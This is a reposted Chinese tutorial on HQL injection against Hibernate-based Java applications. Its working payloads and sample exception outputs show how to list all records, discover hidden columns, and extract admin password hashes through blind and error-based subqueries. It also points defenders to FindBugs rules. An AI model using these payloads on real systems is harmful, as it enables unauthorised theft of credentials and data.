Hibernate HQL注入攻擊入門


SQL注入是一種大家非常熟悉的攻擊方式,目前網絡上有大量存在注入漏洞的DBMS(如MySQL,Oracle,MSSQL等)。但是,我在網絡上找不到針對Hibernate查詢語言的相關資源。因此本文總結了筆者在閱讀文檔和不斷試驗過程中的一些經驗技巧。

什么是Hibernate

Hibernate是一種ORM框架,用來映射與tables相關的類定義(代碼),並包含一些高級特性,包括緩存以及繼承,通常在Java與.NET中使用(可參考 NHibernate),但在Java生態系統中更受歡迎。

查詢語言

首先,HQL查詢並不直接發送給數據庫,而是由hibernate引擎對查詢進行解析並解釋,然后將其轉換為SQL。為什么這個細節重要呢?因為有兩種錯誤消息來源,一種來自hibernate引擎,一種來自數據庫。

HQL的一大挑戰是注射模式非常有限,其沒有聯合,沒有函數來創建簡單延遲,沒有系統函數,沒有可用的元數據表等。Hibernate查詢語言沒有那些在后台數據庫中可能存在的功能特性。

基礎

以下示例代碼用來進行之后的測試。需要注意的是,惡意輸入總是在百分號之間:

session.createQuery("from Book where title like '%" + userInput + "%' and published = true")

列出所有實體

下面從最基礎的開始:列出所有books

from Bookwhere title like '%'    or 1=1    or ''='%'    and published = true

訪問隱藏的列

盡管UNION操作符不可用,我們依然可以暴力破解隱藏的列。

from Bookwhere title like '%'    and promoCode like 'A%'    or 1=2    and ''='%'    and published = true
from Bookwhere title like '%'    and promoCode like 'B%'    or 1=2 and ''='%'    and published = true

列出所有的列

也許有讀者可能會問,如果沒有元數據表,怎么樣才能發現隱藏的列/字段呢。我發現一個小竅門,不過只有Hibernate向客戶端返回異常消息時才可用。如果列名不是Hibernate中實體定義的一部分,則其會觸發異常:

from Bookwhere title like '%'    and DOESNT_EXIST=1 and ''='%'    and published = true

 

觸發異常:

org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:select book0_.id as id21_, book0_.author as author21_, book0_.promoCode as promo3_21_, book0_.title as title21_, book0_.published as published21_ from Book book0_ where book0_.title like '%' or DOESNT_EXIST='%' and book0_.published=1 [42122-159]

 

通過該異常,可以看到Hibernate查詢的列表名。

訪問不同的表

如前所述,HQL支持UNION查詢,可以與其它表join,但只有在模型明確定義了關系后才可使用。我發現訪問其它表的唯一方法是使用子查詢。

例如,以下查詢會從表中選擇一條與“User”實體關聯的項。

from Bookwhere title like '%'    and (select substring(password,1,1) from User where username='admin') = 'a'    or ''='%'    and published = true

 

之后就可以按常規的盲注模式進行盲注了。

非盲注

盲注比較費時間,如果異常消息能顯示出來,就可以直接得到任意值了。為此,需要將某個選中的值轉換為不同的類型。例如:

from Bookwhere title like '%11'    and (select password from User where username='admin')=1    or ''='%'    and published = true

 

之后Hibernate就愉快地將異常消息返回了:

Data conversion error converting "3f3ff0cdbfa0d515f8e3751e4ed98abe"; SQL statement:select book0_.id as id18_, book0_.author as author18_, book0_.promotionCode as promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and book0_.published=1 [22018-159]

 

技巧:調用后台函數

如前所述,Hibernate會在SELECT和WHERE語句中隱藏一些不可識別的列名,對函數也一樣。調用數據庫函數的標准過程是 事先注冊函數映射(HQL->SQL (Java代碼),但攻擊者不需要關心兼容性。最終查詢中的完整函數可以用來竊取數據(group_concat, 
array_agg, …)或對后台數據庫進行簡單的指紋識別。

例如,如果數據庫支持group_concat函數:

from Bookwhere title like '%11'    and (select cast(group_concat(password) as string) from User)=1    or ''='%'    and published = true

 

則異常觸發為:

Data conversion error converting"3f3ff0cdbfa0d515f8e3751e4ed98abe,79a41d71c31128ffab81ac8df2069f9c,b7fe6f6a1024db6e56027aeb558f9e68";SQL statement: select book0_.id as id18_, book0_.author as author18_, book0_.promotionCodeas promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like '%11' and (select cast(group_concat(user1_.password) as varchar(255)) from User user1_)=1 or ''='%' and book0_.published=1 [22018-159]

 

總結

本文並不是討論關於Hibernate的漏洞,而是利用HQL的技巧。如果有讀者維護着使用Hibernate的Java web應用程序,可以運行FindBugs,利用這些規則識別與Hibernate API相關的潛在注入問題。

本文至此就結束了,希望對各位讀者有所幫助!

參考

HQL: The Hibernate Query Language : Hibernate 官方文檔

HQLmap:也許是目前能夠進行自動HQL注入的唯一工具(暴力破解實體與列名)。

SQL Injection Wiki : 多種DBMS平台進行SQL注入的有用參考資料。

Pentestmonkey 
SQL Injection cheatsheets
: SQL注入的另一不錯的參考資料。

[via h3xstream


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM